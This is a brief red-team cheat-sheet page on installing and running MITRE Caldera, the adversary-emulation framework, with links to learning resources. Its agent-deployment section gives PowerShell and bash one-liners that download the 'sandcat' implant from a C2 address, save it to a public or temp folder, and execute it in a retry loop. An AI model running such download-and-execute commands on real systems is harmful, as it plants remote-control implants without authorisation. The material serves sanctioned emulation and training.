# Caldera

## Install Caldera

Ensure Docker is installed first. Run as root

```
cd /opt
sudo git clone https://github.com/mitre/caldera.git --recursive
cd caldera
sudo ./install.sh --kali
```

## Run Caldera

```bash
cd /opt/caldera
source calderaenv/bin/activate
python server.py

http://127.0.0.1:8888
admin:admin
```

## Deploy Agent

Windows

```bash
$url="http://192.168.120.135:8888/file/download"; $wc=New-Object System.Net.WebClient;$wc.Headers.add("platform","windows"); $wc.Headers.add("file","sandcat.go"); $output="C:\Users\Public\sandcat.exe";$wc.DownloadFile($url,$output); C:\Users\Public\sandcat.exe -server http://192.168.120.135:8888 -group my_group;
OR
while($true) {$url="http://192.168.120.135:443/file/download";$wc=New-Object System.Net.WebClient;$wc.Headers.add("file","sandcat.exe");$output="C:\Users\Public\sandcat.exe";$wc.DownloadFile($url,$output);C:\Users\Public\sandcat.exe http://192.168.120.135:443 my_group; sleep 60}
```

Linux

```bash
while true; do curl -sk -X POST -H 'file:sandcat-linux' http://localhost:8888/file/download > /tmp/sandcat-linux && chmod +x /tmp/sandcat-linux && /tmp/sandcat-linux http://localhost:8888 my_group; sleep 60; done
```

## Understanding Caldera

This graphic created by [Adam Mashinchi](https://twitter.com/Adam_Mashinchi)

![](https://684924954-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M1RMhTtc0RlMwyXtAM5%2F-M29iSgVIY7GBT32n0OV%2F-M29iifpQGZjqKNNC6oE%2Fimage.png?alt=media\&token=01e3ea84-58e3-4dea-ad01-2e9727009c42)

Presentation from Erik van Buggenhout: <https://www.slideshare.net/erikvanbuggenhout/adversary-emulation-using-caldera>

Caldera YouTube Playlist: <https://www.youtube.com/playlist?list=PLkTApXQou_8KFTzR7KqDJh-ndMO39PYnB>
